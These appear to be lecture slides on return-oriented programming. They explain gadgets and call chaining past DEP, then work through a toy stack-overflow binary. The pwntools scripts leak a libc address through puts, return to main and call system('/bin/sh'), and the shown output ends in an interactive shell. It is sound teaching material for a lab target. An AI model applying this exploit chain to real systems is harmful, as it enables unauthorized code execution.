

# Return oriented programming

Insu Yun

## Defenses

- Data Execution Prevention
  - Call existing functions in the program
  - Call library functions
  - [Code-reuse attack](#)
- Stack cookie
  - Information leak
  - Side-channel attack
  - [Non-stack vulnerabilities](#)
- ASLR
  - Information leak

## Possible return-to-libc defense

- Delete powerful functions for exploitation!
  - e.g., `system()`, `execve()`, ...
- Then, you cannot launch `/bin/sh` anymore!

## No! Return-oriented programming (ROP)

- You can make *arbitrary* computations using a large number of short instruction sequences called *gadget*.
- Check **The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)**
- Check **On the Expressiveness of Return-into-libc Attacks**
  - ROP in libc == Turing complete

## Gadgets

- A short instruction sequence ends with **ret**.
- We usually can be found at the end of functions.

```
pop    rbx
pop    rbp
pop    r12
pop    r13
pop    r14
pop    r15
ret
```

## More on gadgets

- Even we can get them by splitting exiting ones
  - 2-byte instructions into 1-byte one

```
0x400d82 <+98>:  pop    r15
0x400d84 <+100>:  ret
```

```
0x400d83 <+99>:  pop    rdi
0x400d84 <+100>:  ret
```

## ROP: Call chaining by example

- Goal: call
  - `setregid(1000, 1000);`
  - `system("/bin/sh");`
  - Unfortunately, no single function exists for this job.
- Vulnerability: stack overflow
  - i.e., `esp` is pointing to stack whose data are controllable

## ROP: Call chaining by example

- We can call `setregid()`!
- How can we pass arguments?
  - (1)? (2)? (3)? (4)?

---

(4)

---

(3)

---

(2)

---

(1)

---

`setregid << esp`

---



## ROP: Call chaining by example

- We can call `setregid()`!
- How can we call `system`?

---

1000

---

1000

---

(1)

---

`setregid << esp`

---

## ROP: Call chaining by example

- What is the argument of system?
  - Is it what we want?

---

1000

---

1000

---

system << esp

---

setregid

---

## ROP: Call chaining by example

- Use a gadget: pop pop ret. e.g.,

```
pop    edi  
pop    ebp  
retn
```

## ROP: Call chaining by example

---

system

---

1000

---

1000

---

ppr << esp

---

setregid

---

## ROP: Call chaining by example

---

system

---

1000

---

1000 << esp

---

ppr

---

setregid

---

## ROP: Call chaining by example

---

system

---

1000 << esp

---

1000

---

ppr

---

setregid

---

## ROP: Call chaining by example

---

system << esp

---

1000

---

1000

---

ppr

---

setregid

---

## ROP: Call chaining by example

Then, we can put our argument here! Am I correct?

---

"/bin/sh"

---

system << esp

---

1000

---

1000

---

ppr

---

setregid

---



## ROP: Call chaining by example

---

"/bin/sh"

---

????

---

system << esp

---

1000

---

1000

---

ppr

---

setregid

---

## ROP: Leak & Exploit

```
void vuln() {  
    char buf[32];  
    read(0, buf, 0x100);  
}  
  
int main() {  
    puts("Welcome!");  
    vuln();  
    exit(0);  
}
```

## ROP: Leak & Exploit

```
[*] '/home/vagrant/vuln'  
Arch:      i386-32-little  
RELRO:     Partial RELRO  
Stack:     No canary found  
NX:        NX enabled  
PIE:       No PIE (0x8048000)
```

## Our attack scenario

1. Leak libc address

2. `system("/bin/sh")`

Q: How to leak libc address?

## Our attack scenario

- What about using `exit@got`?

---

??@got

---

????

---

puts

---

```
void vuln() {
    char buf[32];
    read(0, buf, 0x100);
}

int main() {
    puts("Welcome!");
    vuln();
    exit(0);
}
```

## Our attack scenario

---

\_\_libc\_start\_main@got

---

????

---

puts

---

## Our attack scenario

```
from pwn import *

p = process('./vuln')
e = ELF('./vuln')
p.readline() # Welcome
payload = (b"A"*0x28 + b"BBBB"
          + p32(e.symbols['puts'])
          + p32(0)
          + p32(e.got['__libc_start_main']))

p.send(payload)

libc_start_main = u32(p.readline()[:4])
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc_base = libc_start_main -
libc.symbols['__libc_start_main']
print("LIBC_BASE: 0x%x" % libc_base)
```

# Leak

```
[+] Starting local process './vuln': pid 18665
[*] '/home/vagrant/vuln'
    Arch:      i386-32-little
    RELRO:     Partial RELRO
    Stack:     No canary found
    NX:        NX enabled
    PIE:       No PIE (0x8048000)
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:      i386-32-little
    RELRO:     Partial RELRO
    Stack:     Canary found
    NX:        NX enabled
    PIE:       PIE enabled
LIBC_BASE: 0xf7e11000
```



## Problem!

- Our payload cannot be completed without leak!
- Our program is terminating!
- Q: How can we resolve this?!
  - i.e., where to jump?

## Back to main()

---

\_\_libc\_start\_main@got

---

**main**

---

puts

---

- Then, we can retrigger the vulnerability again!

## Back to main()

```
from pwn import *

p = process('./vuln')
e = ELF('./vuln')
p.readline() # Welcome
payload = (b"A"*0x28 + b"BBBB"
          + p32(e.symbols['puts']))
          + p32(e.symbols['main']) # CHANGED
          + p32(e.got['__libc_start_main']))
p.send(payload)

libc_start_main = u32(p.readline()[:4])
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc_base = libc_start_main -
libc.symbols['__libc_start_main']
print("LIBC_BASE: 0x%x" % libc_base)

# 2nd exploit
libc.address = libc_base
payload = (b"A"*0x28 + b"BBBB"
          + p32(libc.symbols['system']))
          + p32(0)
          +
p32(next(libc.search(b'/bin/sh'))))
p.send(payload)
p.interactive()
```

# BOOM

```
[+] Starting local process './vuln': pid 18842
[*] '/home/vagrant/vuln'
    Arch:      i386-32-little
    RELRO:     Partial RELRO
    Stack:     No canary found
    NX:        NX enabled
    PIE:       No PIE (0x8048000)
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:      i386-32-little
    RELRO:     Partial RELRO
    Stack:     Canary found
    NX:        NX enabled
    PIE:       PIE enabled
LIBC_BASE: 0xf7e11000
[*] Switching to interactive mode
Welcome!
$ id
uid=1000(vagrant) gid=1000(vagrant)
groups=1000(vagrant)
```